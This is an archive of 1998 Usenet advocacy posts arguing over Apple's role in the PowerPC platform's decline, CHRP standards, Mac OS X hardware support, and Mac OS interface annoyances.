References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <Pine.SOL.3.96.980723111955.24415A-100000@ux9.cso.uiuc.edu> <joe.ragosta-2307981433040001@wil48.dol.net> <6p8t0h$b24$1@nnrp1.dejanews.com> <joe.ragosta-2407980805190001@wil49.dol.net>
In article <joe.ragosta-2407980805190001@wil49.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Right. Like Intel doesn't spend zillions of dollars advertising their CPU
> to consumers.
That is because Intel operates in the PC market where there is competition for
the microprocessor. OTOH, if you want a Mac then you have no choice but to get
a PPC processor. So Motorola would be basically marketting Macs over PCs. That
is fundamentally different than the marketting that Intel does. Motorola would
have to convince the consumer that that MacOS is better than any PC OS, that
Apple hardware is better than any PC hardware and that their processors are
faster than any PC processor.
> > Are you talking about NT on the PPC?
>
> Yes.
Rumor had it that Microsoft wanted a huge sum of money to keep licensing
Motorola the NT source code. And, BTW, Apple has conformed to neither the PReP
nor the CHRP stardards which makes it tough for both potential PPC OS and
hardware vendors.
> None of which make any sense. Many studies show Mac OS to be _better_ and
> less expensive overall.
I think that you will get a lot of disagreement on this. Motorola certainly
seems to disagree with you.
> And it's not just the few dollars from the Macs installed at Motorola.
> They're hurting the rest of their potential market, as well.
It doesn't hurt the larger embedded market.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 14:42:15 -0500
Organization: Ericsson North America Inc.
Message-ID: <35B8E397.FEE5AE46@ericsson.com>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <6p85g8$g4q$1@news01.deltanet.com> <gmgraves-2407981223510001@sf-usr1-3-131.dialup.slip.net>
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George Graves wrote:
> At the expense of their own credibility? I don't see how you can
> make a case for this. Its like the president of GM driving a Ford,
> it certainly speaks volumes about confidence in ones's own product.
No, it's like the owner of Olive Garden eating out at a different
restaurant. I suppose you would ask what right he has to eat anywhere
but Olive Garden.
Hey, what does it say about the United States' confidence in it own
companies that our armed forces fly foreign-made fighters? And that some
of our airlines actually fly european Airbuses?
I'm a Texan and I sometimes drink Heineken instead of Shiner Bock! Mon
dieu, I even swear in French! And my car was made in Japan! Yikes, my
kernel was written by a Finn! What kind of American am I?
How about this for a serious answer: maybe there's nothing wrong with
the PPC; maybe the problem is with the MacOS. Hmmmm? Maybe Motorola
didn't use MCG clones because of Apple's product, not because of
Motorola's product.
[cut]
MJP
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 12:53:09 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-162.phx.primenet.com
Message-ID: <not-2407981253090001@ip-26-162.phx.primenet.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <jbg-2307981327420001@green.sdc.cs.boeing.com> <not-2307981605420001@ip-26-117.phx.primenet.com> <mazulauf-2407981023530001@grumpy.met.utah.edu>
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <mazulauf-2407981023530001@grumpy.met.utah.edu>,
mazulauf@atmos.met.utah.edu (Mike Zulauf) wrote:
> > Yes. Buy a 266 MHz G3, and you will be all set. That's been true since the
> > beginning.
>
> Interesting. So you obviously don't agree with the faction of Mac
> advocates who believe that it is foolish to make a hardware purchase based
> on promises of upcoming OS's?
No, I think that no hardware purchases *ever* should be made on the
promise of an upcoming OS. You should just by the fastest machine you can
afford, and then hope. That't the way it has always been on any platform.
> How do you feel about the people who bought hardware expecting to run
> Copland, Gershwin, etc.? How about somebody who bought a PowerBook 1400
> (sold long after the "deadline"), expecting to run Rhapsody?
Well, they were foolish. I had no such expectations when I bought my
PowerCenter Pro 240 or my 7500. Then again, I'm not a typical user as I
tend to upgrade about every 1 1/2 years.
> For that matter, what about those who purchased PCI machines based on the
> promise of Rhapsody? While they may still get Rhapsody/OS X Server, it
> won't likely be the solution they desire, for the cost they desire (hint,
> it's to be a "server" OS, probably for "server" cost).
They were also foolish. The inital DR releases only ran on a small pool of
hardware--anyone who could see that fact, and yet still bought something
different with the idea it might run Rhapsody, was foolish. And Apple
*never* said *anything* about the cost of Rhapsody or Mac OS X. If you've
spend $3000 building a Mac and then won't spend $250 to upgrade its OS
then you are in the wrong field.
> But of course, all of that is in the past. Listen up folks, history
> doesn't matter! It's now safe to take Apple at it's word!
Frankly, I agree with the above statement. Apple today is a radically
different company than it was a year ago, and utterly different from the
Copland days.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 14:30:41 -0500
Organization: Ericsson North America Inc.
Message-ID: <35B8E0E1.7202D351@ericsson.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <slrn6rgr5c.39f.jason@jhste1.dyn.ml.org> <joe.ragosta-2407980808030001@wil49.dol.net> <35B88F92.F794FF48@nstar.net> <joe.ragosta-2407981108350001@wil63.dol.net>
Mime-Version: 1.0
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Joe Ragosta wrote:
> You don't think OS/2 for PPC could have made a dent? There are millions of
> OS/2 users.
Is OS/2 still shipping, Joe? I wonder if you know. Does it make a dent
in your consciousness? There are millions of Solaris users, too. And
there are plenty of AIX users and HP/UX users. Do they make a dent, to
you?
> Or Windows NT? Last time I checked, NT is selling reasonably well.
Last time I checked, Microsoft has not yet agreed to port Windows NT to
PPC. Check me if I'm wrong. I don't remember Microsoft being a part of
the "bargain".
> But you'll insist until the end that it's all Apple's fault whenever
> something fails to live up to its full promise.
No, just when it's Apple's fault. Duh.
MJP
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 13:02:43 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2407981302440001@sf-usr1-3-131.dialup.slip.net>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <jbg-2307981327420001@green.sdc.cs.boeing.com> <not-2307981605420001@ip-26-117.phx.primenet.com>
In article <not-2307981605420001@ip-26-117.phx.primenet.com>,
eilersm@psn.net wrote:
> In article <jbg-2307981327420001@green.sdc.cs.boeing.com>,
> jbg@sdc.cs.boeing.com (Jim Glidewell) wrote:
>
> > If I want a mac that will _someday_ support an OS which provides true
> > memory protection and full preemptive scheduling, is it "realistic"
> > for me to buy *any* Apple computer _today_?
>
> Yes. Buy a 266 MHz G3, and you will be all set. That's been true since the
> beginning.
>
> > Should we encourage all potential Mac customers who plan to keep their
> > mac's for more than a year and who want such features to defer their
> > purchases until OS X is actually released?
>
> No, any Apple-motherboard G3 will run OS X, so they can buy right now or
> wait. I would caution anyone against spending $1600 for a G3 upgrade, but
> anyone who does so is being foolish anway when you can get an all-new G3
> for the same price and a slight speed hit.
>
> I'm personally goint to wait a while before going G3, but just because I
> want the faster busses and a sense of what the upgrade path to G4 will be
> like. Nothing to do with the OS.
>
> > If Apple decides next year to cancel OS X and replace it with "Rhapsody
> > Plus", which only runs on G4 Macs, will you refer to people who bought
> > G3's with the expectation of running OS X on them as "unrealistic"?
>
> Pure speculation and paranioa. You have no basis for the above expectation
> at all.
Sure he does. Apple's past record on this issue. They do it all the time. Why
shouldn't they do it again?
From: nospamhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 16:22:00 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <19980724162200251688@pm2-3-08.aug.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au>
Christopher Smith <drsmithy@usa.net> wrote:
> Maybe if Apple were a little less greedy and built wide-open PPC machines,
> there would be more OSes and software available for them ? If this happened
> you might see PPC machine sales start to take off as people realise how much
> better they are than most x86 CPUs ?
How many OSs do you want for a Mac? There's MacOS, BeOS, Linux (various)
and/or Unix. Did I miss any PPC native choices?
If you are going to count emulation... there's every OS that runs on
Intel/clone chips.
What elsedo you want from Apple? They amke a computer and at least 2
OSes for it. Nothing is stopping anyone from making an "open" PPC box.
Im sure IBM and Motorola could market their CHRP boxes. MacOS might not
(might not) run on them, but other OSes could.
--
*** To reply via email remove nospam from my return address. ***
Date: Fri, 24 Jul 1998 16:26:25 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2407981626250001@wil51.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com>
In article <35B8D9F4.D6C93C1@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Point: Apple blew PPC. Saying that Sun and SGI and HP helped blow PPC is
> getting cause and effect backward. Apple blew PPC and it scared everyone
> else away from the platform. And Apple didn't blow PPC at any one point
> in time; it blew PPC continually over the span of three or more years.
This is total, unadulterated nonsense.
IBM dropped OS/2 for PPC.
Microsoft dropped NT for PPC.
Sun dropped Solaris for PPC.
Novell dropped Netware for PPC.
Motorola stopped making PPC boxes.
Be stopped making PPC boxes.
APPLE HAD NOTHING TO DO WITH ANY OF THOSE THINGS.
And don't give me the crap about Apple not having an open architecture. It
didn't seem to stop Be (a startup working on a shoestring) from making
their OS work on Apple's PowerMacs.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 24 Jul 1998 16:30:08 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2407981630080001@wil51.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <35B8DF8B.FD82305D@ericsson.com>
In article <35B8DF8B.FD82305D@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Joe Ragosta wrote:
>
> > This is nonsense. Let's talk about the _facts_, not your anti-Apple
diatribes.
>
> Oh, please! Wouldn't that be novel.
>
> > AIM set up a team to develop a new series of processors.
>
> No. AIM was established to develop and market an existing line of
> processors.
You're wrong right from the start. PPC didn't exist until AIM created it.
Sure, it was derived from Power chips, but they are not PPC chips.
>
> > Now, LOTS and LOTS of people said they were going to support this new CPU.
>
> [cut]
>
> > Now, other than IBM's AIX, the vendors have dropped support for PPC in
> > every case. Apple has kept up its side of the bargain--they're still using
> > PPC on all their computers.
>
> Bargain? Apple committed to PPC before anyone else did. Apple had
> exactly nothing to lose by beating the PowerPC drum. They were asking
> the industry to agree to jump on board the PPC platform. Then they
> poisoned the entire platform for everyone except Apple (probably even
> for Apple) and everyone walked away.
How did Apple poison the platform? PPC chips are extremely fast. Motorola
used to build NT boxes without Apple being involved. IBM and Bull still
build AIX boxes without Apple being involved. You seem to have this insane
need to blame Apple for everything. Just how did Apple make Motorola stop
building NT boxes?
>
> This would be sort of like you inviting a bunch of friends to a party,
> and when they show up you drop trow and start peeing on everybody. When
> they run away, you claim they "didn't hold up their end of the bargain".
Or more like someone who doesn't have an argument making up absurd
analogies that have nothing to do with the real situation.
>
> I don't know how much simpler this can get.
Try facts. It's a lot simpler than your inane ramblings.
>
> > Your argument about the hardware standard is completely bogus. First, all
> > of these supporters dropped their PPC OS before CHRP was ready.
>
> Well, how much longer were they supposed to wait, Joe? Apple held up the
> standard for as long as they could, then basically drop-kicked it. But
> please, don't let that stop you from painting this as being Sun's fault.
And where's your evidence that Apple dropped the standard? If Apple was at
fault, why didn't IBM, Microsoft, Novell, Motorola, and Solaris just
continue to suppor PREP?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <adtEwM9zJ.4DA@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Organization: Netcom On-Line Services
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <see-below-2407980002030001@dynamic18.pm10.mv.best.com>
Date: Fri, 24 Jul 1998 20:52:31 GMT
Sender: adt@netcom13.netcom.com
Matthew Vaughan (see-below@not-my-address.com) wrote:
: Oh, so the G3 PowerMacs must also be obsolete, right? Regardless of when
: they were introduced. They have only 5MB/sec SCSI which is fairly
: worthelss for many professional users (in fact slower than shipped on the
: 8500/8600/9500/9600/7300/7600), ...
That's only the built-in SCSI which is presumably intended for little
beyond simple connectivity of low speed external devices, Apple's online
store shows that an ultra wide PCI card is added when upgrading a G3's
drives from EIDE to SCSI. I'm sure this card has an external connector.
However, I would not argue against the suggestion that some G3 models are
downgrades compared to some of the 8x00/9x00 models. The G3-only
possibility remains more of a political limitation than a technical one, I
hope it doesn't happen.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 15:57:28 -0500
Organization: Ericsson North America Inc.
Message-ID: <35B8F538.88F9A190@ericsson.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <35B8DF8B.FD82305D@ericsson.com> <joe.ragosta-2407981630080001@wil51.dol.net>
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Joe Ragosta wrote:
> How did Apple poison the platform? PPC chips are extremely fast. Motorola
> used to build NT boxes without Apple being involved. IBM and Bull still
> build AIX boxes without Apple being involved. You seem to have this insane
> need to blame Apple for everything. Just how did Apple make Motorola stop
> building NT boxes?
The death of CHRP ensured the death of any participation on the part of
non-Apple entities in the PPC market. Exceptions like Groupe Bull and
IBM do exist because they have sturdy markets already established. No
new markets will be created.
> Or more like someone who doesn't have an argument making up absurd
> analogies that have nothing to do with the real situation.
Wink. Pretend you get it.
> Try facts. It's a lot simpler than your inane ramblings.
[cut]
> And where's your evidence that Apple dropped the standard? If Apple was at
> fault, why didn't IBM, Microsoft, Novell, Motorola, and Solaris just
> continue to suppor PREP?
Again, these participants were counting on a platform that could run
MacOS and especially its successor. When that became impossible, they
left. It's that simple.
Anyway, I choose to blame Apple. I think it's obvious why I should do
so, but I'll never convince you if you don't want to be convinced. I
shouldn't have to convince you in the first place, but then again, it
doesn't bother me a bit that you've decided to play this way.
So consider that I've got an opinion and I've presented my reasons.
Simply shouting that "you can't prove it" and "how do you know *for
sure* it wasn't someone else?" just sounds like cheap rationalization.
Just giving you the lowdown. If you're confident of your reasoning, just
killfile me. I'd be grateful.
D'oh. Joe doesn't have a killfile.
MJP
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <adtEwMA74.4v8@netcom.com>
Followup-To: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Organization: Netcom On-Line Services
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <bux-2007981300570001@dial-tulip-20.bway.net> <Josh.McKee-2107981853200001@pm3a15.rmac.net> <joe.ragosta-2207980951060001@wil116.dol.net> <Josh.McKee-2307981818520001@pm3a8.rmac.net> <joe.ragosta-2307982202340001@elk97.dol.net> <Josh.McKee-2307982128320001@pm3a20.rmac.net>
Date: Fri, 24 Jul 1998 20:57:04 GMT
Sender: adt@netcom13.netcom.com
Joshua T. McKee (Josh.McKee@cbns.com) wrote:
: I guess I just have a problem with Apple being able to have both types of
: systems run OS 8.x, but for some reason their next generation OS cannot.
: Likewise, Rhapsody (not MAC OS X Server) is capable of running on both
: hardware platforms. Why is it so difficult, or unreasonable to expect, OS
: X to run on the two different platforms when Apple is supporting both
: platforms with an existing OS, and plans to do so in the future.
:
: We're not talking hundreds of platforms here...we're talking a small
: number made by the same company.
Not to mention that both OS's are based on micorokernel architectures and
that one of the benefits of such an approach is abstraction from the
hardware and easier porting.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X GUI---3 clicks to any window?
Date: Fri, 24 Jul 1998 10:52:39 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-2407981052390001@castle.webis.net>
References: <6oqr65$ept$1@supernews.com> <stone-ya02408000R1807981951280001@news.enetis.net> <6p88au$rnt$1@Zeke.Update.UU.SE>
NNTP-Posting-Date: 24 Jul 1998 15:52:35 GMT
In article <6p88au$rnt$1@Zeke.Update.UU.SE>, ante@Zeke.Update.UU.SE
(Andreas Gustafsson) wrote:
: stone@stoneentertainment.com (Kevin Stone) writes:
:
: >In article <6oqr65$ept$1@supernews.com>, a l t e n ber@nashville.com
: >(delete spaces, spam trick) wrote:
: >(snip)
: >> --
: >> ======================================================================
: >> Lee Altenberg, Ph.D.
:
: >Since Rhapsody (aka. MacOSX Server) is based on OpenStep, it is very likely
: >that Apple has or will include NeXT functionality along with the features
: >I've mentioned above that already exist in today's MacOS. Even the
: >September update, MacOS 8.5, will feature an applications dock and tear
: >away menus... obviously inspired by OpenStep. And of course third party
: >developers will continue to take advantage of the open nature of the MacOS
: >to develope additions and enhacments that will continue to make the so
: >called, "Macintosh Experience", the best on Earth. :)
:
: >-Kevin Stone
:
:
: "even the September update, MacOS8.5, will feature an applications dock"
: You wrote. Is that confirmed by Apple? I've never heard them tell anything
: about the new versions that interesting! Where did you get that info?
:
Its not a dock like in OpenStep. It is a floating window showing all
running apps. It has a few features. One nice thing is that it is
replaceable as it is a Finder plugin/extension.
This is from other sources.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: ERASE.this.dennis.scp@multiweb.nl (Dennis SCP)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 24 Jul 1998 20:03:17 +0200
Organization: Mac OS 8 Icon Update 1.0
Message-ID: <1dco1vu.1tcsxcs13uk71oN@hoorn23.multiweb.net>
References: <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu>
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Pulsar <tokarek@uiuc.edu> wrote:
> You dismiss the "Trash Can thing" too quickly. The user should not have to
> modify his behavior or have to spend time learning a behavior because of
> some quirk of the OS when it could be done to be immediately intuitive and
> quick.
What is there to learn about the "Trash Can thing" for new users?
- A friend throws your ZIP in the trash.
- You punch him in the head for deleting your information.
- He says 'For one dollar I will recover your data'
- You say 'No way, I'm gonna beat you up'
- He says 'Alright, I'll do it for free' and pops the zip back in.
So you learned the hard way that throwing someting in the trash does not
always erase it. That is just an odd quirk, you don't have to modify
your behavior because of it.
> I would like to see a more obvious indication of the foreground
> application. The current application menu does not go nearly far enough.
> The new menu in Mac OS 8.5 does better, but is still not enough. This is
> an issue that bites a lot of people and even gets me occaisionally.
Maybe you could use GoMac; to get those big program buttons at the
bottom. Just an idea: A control panel that creates a background picture
with a triple-sized foreground application icon inbedded in the texture.
> The U
> of I Macs in the public labs have a program that asks the user whether to
> quit when all the windows in a program are closed. This is a terrible
> solution to something that could be addressed with a little thought.
This would seem a pre Windows98 solution, when people didn't realize
that they opened more and more programs while working and didn't know
why the OS got slower and slower. I never noticed that this was a
problem on the Mac. (Is it realy a problem??)
> The file system type handling is not a minor issue. I have been annoyed by
> this many times before as have many other Mac users. Just because I can
> use ResEdit to fix the issue does not mean that there is a no serious
> problem. Windows is worse, but that's no excuse for the Mac OS.
This would be fixed with a better internetconfig database.
As a beginner I found programs as FileTyper Lite too confusing, an
overkill on options. Why don't these programs just popup an hierarchical
file database and an available creator programs popup? Grmbl! Now I use
'Same As' and spend time on hunting down a similar file. Since using QT3
I noticed that text files saved out of MacSoup (text reader, so any
pictures must be saved and be expanded) that end in '.jpg' change to QT
pictures <sigh> sure there is a jpeg inside but QT doesn't get it out,
to make things even worse my freeware decoder only recognizes text
files, I had to rename, and had to use FileTyper Lite to have a look at
a picture someone posted. Just think of what novice user must go through
while nothing is broke... Apple must improve GetInfo.
But is this a UI fault? Well, if you claim GetInfo should be able to let
you fix it then, yes it is. But the way types work (pretty good, but not
perfect) is not a UI issue.
Do you have any real complaints besides the Trash non-issue?
My personal Mac bad UI list:
- Broken Aliases cannot be repaired.
- Clock settings not found near the clock.
- Dragging to an icon makes it's window visible (nice),
dragging to an obscured window does not give you acces to all it's icons
as the window stays obscured. (A pretty serious issue as the first part
was introduced pretty recently, thus creating an inconcistancy by not
doing it complete)
- Windows can be dragged in the background but not resized or scrolled.
(Making working with multiple windows a bit more difficult)
- You must hold command to keep windows from poping to the foreground
while moving. This is unnessesery as clicking windows to the front is
more logical.
- While dragging, the arrow changes to tell you what will happen before
you drop. But it does not tell you when it will undo the drag (when
dropping on the empty menu bar)
- Pressing Esc or command+dot does not stop the drag, while it does stop
taking a snapshot.
- When windows are auto-opening moving away from the collection of
windows closes them all. This is stupid as one Window can obscure all
other windows, which makes moving back one window an impossibility.
- Trashing a volume to the trash does not give you the option to erase
it. (There you go:-)
What's more? Share your litle frustrations with the group...
Dennis SCP
--
[MS Office Assistant: Uw signature is leeg. Weet u zeker dat u niets
nuttigs aan de mensheid heeft mede te delen?]
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 24 Jul 1998 11:01:13 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2407981101130001@news>
References: <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu>
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In article <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Thu, 23 Jul 1998, Andy Bates wrote:
>
> > In article <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu>,
> > Pulsar <tokarek@uiuc.edu> wrote:
> >
> > > Maybe Apple hasn't bothered trying. We can prove neither at the moment.
> >
> > The difference is that I'm not claiming that Apple IS trying, while you ARE
> > claiming (or implying) that Apple is NOT. Your statement is easily
> > disprovable.
>
> Uh, huh. Disprove it. (Not that I'm seriously trying to maintain it.)
Your own statement proves it: "We can prove neither at the moment." We can
not prove that Apple is not working on future OS enhancements.
> > > Well, Apple doesn't seem to be exploring other options NOW, _AND_ Apple
> > > has a history of taking many years to address flaws that Mac users have
> > > pointed out time and time again.
> >
> > You mean like the flaws you pointed out? Other than the garbage-can issue,
> > they all seem pretty minor. All of your suggested changes would be defined
> > as "incremental."
>
> That's fine. I don't mind incremental changes. I'd like to see significant
> changes, but even incremental ones would be welcomed.
And Apple IS making incremental changes. So what's the problem?
> > It seems like you have a double-standard here: you suggest incremental
> > changes that you want Apple to make, yet you complain that their OS changes
> > over the past few years have "only" been incremental. Why are your
> > incremental changes valid, while Apple's incremental changes keep the OS
> > "stagnant"?
>
> You're right. Stagnant is the wrong word.
>
> Let me try to clarify what I think.
>
> Since the Macintosh was created, other OSes have implemented many of the
> features found in the Mac OS. Many of these OSes have implemented some new
> behaviors that are not found in the Mac OS that are useful.
Such as? Were these changes "revolutionary," or just incremental changes?
Did they bring along other unwanted behaviors?
